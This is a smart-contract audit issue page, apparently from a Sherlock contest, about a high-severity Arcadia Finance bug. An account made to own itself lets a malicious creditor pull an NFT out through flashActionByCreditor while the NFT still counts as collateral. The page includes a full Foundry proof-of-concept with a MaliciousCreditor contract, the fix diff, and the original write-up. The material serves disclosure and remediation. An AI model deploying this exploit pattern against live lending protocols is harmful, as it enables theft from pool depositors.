Open sherlock-admin opened 6 months ago
1 comment(s) were left on this issue during the judging contest.
takarez commented:
valid: flashActionByCreditor should be mitigated; high(7)
Created a (very) quick & dirty POC to confirm the validity:
/**
* Created by Pragma Labs
* SPDX-License-Identifier: MIT
*/
pragma solidity 0.8.22;
import { Fork_Test } from "../Fork.t.sol";
import { ERC20 } from "../../../lib/solmate/src/tokens/ERC20.sol";
import { ERC721 } from "../../../lib/solmate/src/tokens/ERC721.sol";
import { LiquidityAmounts } from "../../../src/asset-modules/UniswapV3/libraries/LiquidityAmounts.sol";
import { LiquidityAmountsExtension } from
"../../utils/fixtures/uniswap-v3/extensions/libraries/LiquidityAmountsExtension.sol";
import { INonfungiblePositionManagerExtension } from
"../../utils/fixtures/uniswap-v3/extensions/interfaces/INonfungiblePositionManagerExtension.sol";
import { ISwapRouter } from "../../utils/fixtures/uniswap-v3/extensions/interfaces/ISwapRouter.sol";
import { IUniswapV3Factory } from "../../utils/fixtures/uniswap-v3/extensions/interfaces/IUniswapV3Factory.sol";
import { IUniswapV3PoolExtension } from
"../../utils/fixtures/uniswap-v3/extensions/interfaces/IUniswapV3PoolExtension.sol";
import { TickMath } from "../../../src/asset-modules/UniswapV3/libraries/TickMath.sol";
import { UniswapV3AM } from "../../../src/asset-modules/UniswapV3/UniswapV3AM.sol";
import { ActionData } from "../../../src/interfaces/IActionBase.sol";
import { IPermit2 } from "../../../src/interfaces/IPermit2.sol";
import { AccountV1 } from "../../../src/accounts/AccountV1.sol";
/**
* @notice Fork tests for "UniswapV3AM" to test issue 140.
*/
contract UniswapV3AM_Fork_Test is Fork_Test {
/*///////////////////////////////////////////////////////////////
CONSTANTS
///////////////////////////////////////////////////////////////*/
INonfungiblePositionManagerExtension internal constant NONFUNGIBLE_POSITION_MANAGER =
INonfungiblePositionManagerExtension(0x03a520b32C04BF3bEEf7BEb72E919cf822Ed34f1);
ISwapRouter internal constant SWAP_ROUTER = ISwapRouter(0x2626664c2603336E57B271c5C0b26F421741e481);
IUniswapV3Factory internal constant UNISWAP_V3_FACTORY =
IUniswapV3Factory(0x33128a8fC17869897dcE68Ed026d694621f6FDfD);
/*///////////////////////////////////////////////////////////////
TEST CONTRACTS
///////////////////////////////////////////////////////////////*/
UniswapV3AM internal uniV3AM_;
MaliciousCreditor internal maliciousCreditor;
/*///////////////////////////////////////////////////////////////
SET-UP FUNCTION
///////////////////////////////////////////////////////////////*/
function setUp() public override {
Fork_Test.setUp();
// Deploy uniV3AM_.
vm.startPrank(users.creatorAddress);
uniV3AM_ = new UniswapV3AM(address(registryExtension), address(NONFUNGIBLE_POSITION_MANAGER));
registryExtension.addAssetModule(address(uniV3AM_));
uniV3AM_.setProtocol();
vm.stopPrank();
vm.label({ account: address(uniV3AM_), newLabel: "Uniswap V3 Asset Module" });
maliciousCreditor = new MaliciousCreditor(users.creatorAddress);
vm.startPrank(users.creatorAddress);
registryExtension.setRiskParametersOfPrimaryAsset(
address(maliciousCreditor), address(DAI), 0, type(uint112).max, 9000, 9500
);
registryExtension.setRiskParametersOfPrimaryAsset(
address(maliciousCreditor), address(USDC), 0, type(uint112).max, 9000, 9500
);
registryExtension.setRiskParametersOfPrimaryAsset(
address(maliciousCreditor), address(WETH), 0, type(uint112).max, 9000, 9500
);
registryExtension.setRiskParametersOfDerivedAM(
address(maliciousCreditor), address(uniV3AM_), type(uint112).max, 10_000
);
registryExtension.setRiskParameters(address(maliciousCreditor), 0, 0, 10);
vm.stopPrank();
}
/*////////////////////////////////////////////////////////////////
HELPER FUNCTIONS
////////////////////////////////////////////////////////////////*/
function isWithinAllowedRange(int24 tick) public pure returns (bool) {
int24 MIN_TICK = -887_272;
int24 MAX_TICK = -MIN_TICK;
return (tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick))) <= uint256(uint24(MAX_TICK));
}
function addLiquidity(
IUniswapV3PoolExtension pool,
uint128 liquidity,
address liquidityProvider_,
int24 tickLower,
int24 tickUpper,
bool revertsOnZeroLiquidity
) public returns (uint256 tokenId) {
(uint160 sqrtPrice,,,,,,) = pool.slot0();
(uint256 amount0, uint256 amount1) = LiquidityAmounts.getAmountsForLiquidity(
sqrtPrice, TickMath.getSqrtRatioAtTick(tickLower), TickMath.getSqrtRatioAtTick(tickUpper), liquidity
);
tokenId = addLiquidity(pool, amount0, amount1, liquidityProvider_, tickLower, tickUpper, revertsOnZeroLiquidity);
}
function addLiquidity(
IUniswapV3PoolExtension pool,
uint256 amount0,
uint256 amount1,
address liquidityProvider_,
int24 tickLower,
int24 tickUpper,
bool revertsOnZeroLiquidity
) public returns (uint256 tokenId) {
// Check if test should revert or be skipped when liquidity is zero.
// This is hard to check with assumes of the fuzzed inputs due to rounding errors.
if (!revertsOnZeroLiquidity) {
(uint160 sqrtPrice,,,,,,) = pool.slot0();
uint256 liquidity = LiquidityAmountsExtension.getLiquidityForAmounts(
sqrtPrice,
TickMath.getSqrtRatioAtTick(tickLower),
TickMath.getSqrtRatioAtTick(tickUpper),
amount0,
amount1
);
vm.assume(liquidity > 0);
}
address token0 = pool.token0();
address token1 = pool.token1();
uint24 fee = pool.fee();
deal(token0, liquidityProvider_, amount0);
deal(token1, liquidityProvider_, amount1);
vm.startPrank(liquidityProvider_);
ERC20(token0).approve(address(NONFUNGIBLE_POSITION_MANAGER), type(uint256).max);
ERC20(token1).approve(address(NONFUNGIBLE_POSITION_MANAGER), type(uint256).max);
(tokenId,,,) = NONFUNGIBLE_POSITION_MANAGER.mint(
INonfungiblePositionManagerExtension.MintParams({
token0: token0,
token1: token1,
fee: fee,
tickLower: tickLower,
tickUpper: tickUpper,
amount0Desired: amount0,
amount1Desired: amount1,
amount0Min: 0,
amount1Min: 0,
recipient: liquidityProvider_,
deadline: type(uint256).max
})
);
vm.stopPrank();
}
function assertInRange(uint256 actualValue, uint256 expectedValue, uint8 precision) internal {
if (expectedValue == 0) {
assertEq(actualValue, expectedValue);
} else {
vm.assume(expectedValue > 10 ** (2 * precision));
assertGe(actualValue * (10 ** precision + 1) / 10 ** precision, expectedValue);
assertLe(actualValue * (10 ** precision - 1) / 10 ** precision, expectedValue);
}
}
/*///////////////////////////////////////////////////////////////
FORK TESTS
///////////////////////////////////////////////////////////////*/
function testFork_Success_deposit2(uint128 liquidity, int24 tickLower, int24 tickUpper) public {
vm.assume(liquidity > 10_000);
IUniswapV3PoolExtension pool =
IUniswapV3PoolExtension(UNISWAP_V3_FACTORY.getPool(address(DAI), address(WETH), 100));
(, int24 tickCurrent,,,,,) = pool.slot0();
// Check that ticks are within allowed ranges.
tickLower = int24(bound(tickLower, tickCurrent - 16_095, tickCurrent + 16_095));
tickUpper = int24(bound(tickUpper, tickCurrent - 16_095, tickCurrent + 16_095));
// Ensure Tick is correctly spaced.
{
int24 tickSpacing = UNISWAP_V3_FACTORY.feeAmountTickSpacing(pool.fee());
tickLower = tickLower / tickSpacing * tickSpacing;
tickUpper = tickUpper / tickSpacing * tickSpacing;
}
vm.assume(tickLower < tickUpper);
vm.assume(isWithinAllowedRange(tickLower));
vm.assume(isWithinAllowedRange(tickUpper));
// Check that Liquidity is within allowed ranges.
vm.assume(liquidity <= pool.maxLiquidityPerTick());
// Balance pool before mint
uint256 amountDaiBefore = DAI.balanceOf(address(pool));
uint256 amountWethBefore = WETH.balanceOf(address(pool));
// Mint liquidity position.
uint256 tokenId = addLiquidity(pool, liquidity, users.accountOwner, tickLower, tickUpper, false);
// Balance pool after mint
uint256 amountDaiAfter = DAI.balanceOf(address(pool));
uint256 amountWethAfter = WETH.balanceOf(address(pool));
// Amounts deposited in the pool.
uint256 amountDai = amountDaiAfter - amountDaiBefore;
uint256 amountWeth = amountWethAfter - amountWethBefore;
// Precision oracles up to % -> need to deposit at least 1000 tokens or rounding errors lead to bigger errors.
vm.assume(amountDai + amountWeth > 100);
// Deposit the Liquidity Position.
{
address[] memory assetAddress = new address[](1);
assetAddress[0] = address(NONFUNGIBLE_POSITION_MANAGER);
uint256[] memory assetId = new uint256[](1);
assetId[0] = tokenId;
uint256[] memory assetAmount = new uint256[](1);
assetAmount[0] = 1;
vm.startPrank(users.accountOwner);
ERC721(address(NONFUNGIBLE_POSITION_MANAGER)).approve(address(proxyAccount), tokenId);
proxyAccount.deposit(assetAddress, assetId, assetAmount);
vm.stopPrank();
}
vm.startPrank(users.accountOwner);
// exploit starts: user adds malicious creditor to keep the "hook" after the account transfer
proxyAccount.openMarginAccount(address(maliciousCreditor));
// avoid any cooldowns
uint256 time = block.timestamp;
vm.warp(time + 1 days);
// transfer the account to itself
factory.safeTransferFrom(users.accountOwner, address(proxyAccount), address(proxyAccount));
vm.stopPrank();
assertEq(proxyAccount.owner(), address(proxyAccount));
vm.startPrank(users.creatorAddress);
// from the malicous creditor set earlier, start a flashActionByCreditor which withdraws the univ3lp as a "transferFromOwner"
maliciousCreditor.doFlashActionByCreditor(address(proxyAccount), tokenId, address(NONFUNGIBLE_POSITION_MANAGER));
vm.stopPrank();
// univ3lp changed ownership to the malicious creditor
assertEq(ERC721(address(NONFUNGIBLE_POSITION_MANAGER)).ownerOf(tokenId), address(maliciousCreditor));
assertEq(ERC721(address(NONFUNGIBLE_POSITION_MANAGER)).balanceOf(address(proxyAccount)), 0);
// account still shows it has a collateral value
assertGt(proxyAccount.getCollateralValue(), 0);
// univ3lp is still accounted for in the account
(address[] memory assets, uint256[] memory ids, uint256[] memory amounts) = proxyAccount.generateAssetData();
assertEq(assets[0], address(NONFUNGIBLE_POSITION_MANAGER));
assertEq(ids[0], tokenId);
assertEq(amounts[0], 1);
}
}
contract MaliciousCreditor {
address public riskManager;
constructor(address riskManager_) {
// Set the risk manager.
riskManager = riskManager_;
}
function openMarginAccount(uint256 version)
public
returns (bool success, address numeraire_, address liquidator_, uint256 minimumMargin_)
{
return (true, 0x50c5725949A6F0c72E6C4a641F24049A917DB0Cb, address(0), 0); //dai
}
function doFlashActionByCreditor(address targetAccount, uint256 tokenId, address nftMgr) public {
ActionData memory withdrawData;
IPermit2.PermitBatchTransferFrom memory permit;
bytes memory signature;
bytes memory actionTargetData;
ActionData memory transferFromOwnerData;
transferFromOwnerData.assets = new address[](1);
transferFromOwnerData.assets[0] = nftMgr;
transferFromOwnerData.assetIds = new uint256[](1);
transferFromOwnerData.assetIds[0] = tokenId;
transferFromOwnerData.assetAmounts = new uint256[](1);
transferFromOwnerData.assetAmounts[0] = 1;
transferFromOwnerData.assetTypes = new uint256[](1);
transferFromOwnerData.assetTypes[0] = 1;
bytes memory actionData = abi.encode(withdrawData, transferFromOwnerData, permit, signature, actionTargetData);
AccountV1(targetAccount).flashActionByCreditor(address(this), actionData);
}
function executeAction(bytes memory actionData) public returns (ActionData memory) {
ActionData memory withdrawData;
return withdrawData;
}
function getOpenPosition(address) public pure returns (uint256) {
return 0;
}
function onERC721Received(address, address, uint256, bytes calldata) public pure returns (bytes4) {
return this.onERC721Received.selector;
}
}
I don't see a reasonable usecase where an account should own itself. wdyt @Thomas-Smets ?
function transferOwnership(address newOwner) external onlyFactory notDuringAuction {
if (block.timestamp <= lastActionTimestamp + COOL_DOWN_PERIOD) revert AccountErrors.CoolDownPeriodNotPassed();
// The Factory will check that the new owner is not address(0).
+ if (newOwner == address(this)) revert NoTransferToSelf();
owner = newOwner;
}
function _transferOwnership(address newOwner) internal {
// The Factory will check that the new owner is not address(0).
+ if (newOwner == address(this)) revert NoTransferToSelf();
owner = newOwner;
IFactory(FACTORY).safeTransferAccount(newOwner);
}
No indeed, that should fix it
The protocol team fixed this issue in PR/commit https://github.com/arcadia-finance/accounts-v2/pull/171.
Fix looks good. Accounts can no longer own themselves as all transfers of ownership to self are now blocked.
The Lead Senior Watson signed off on the fix.
0x52
high
AccountV1#flashActionByCreditor
can be used to drain assets from account without withdrawingSummary
AccountV1#flashActionByCreditor
is designed to allow atomic flash actions moving funds from theowner
of the account. By making the account own itself, these arbitrary calls can be used to transferERC721
assets directly out of the account. The assets being transferred from the account will still show as deposited on the account allowing it to take out loans from creditors without having any actual assets.Vulnerability Detail
The overview of the exploit are as follows:
The key to this exploit is that the account is able to be it's own
owner
. Paired with a maliciously designedcreditor
(creditor can be set to anything)flashActionByCreditor
can be called by the attacker when this is the case.AccountV1.sol#L770-L772
In these lines the
ERC721
token is transferred out of the account. The issue is that even though the token is transferred out, theerc721Stored
array is not updated to reflect this change.AccountV1.sol#L570-L572
As seen above
auctionBoughtIn
does not have any requirement besides being called by theliquidator
. Since theliquidator
is also malicious. It can then abuse this function to set theowner
to any address, which allows the attacker to recover ownership of the account. Now the attacker has an account that still considers theERC721
token as owned but that token isn't actually present in the account.Now the account creditor can be set to a legitimate pool and a loan taken out against no collateral at all.
Impact
Account can take out completely uncollateralized loans, causing massive losses to all lending pools.
Code Snippet
AccountV1.sol#L265-L270
Tool used
Manual Review
Recommendation
The root cause of this issue is that the account can own itself. The fix is simple, make the account unable to own itself by causing transferOwnership to revert if
owner == address(this)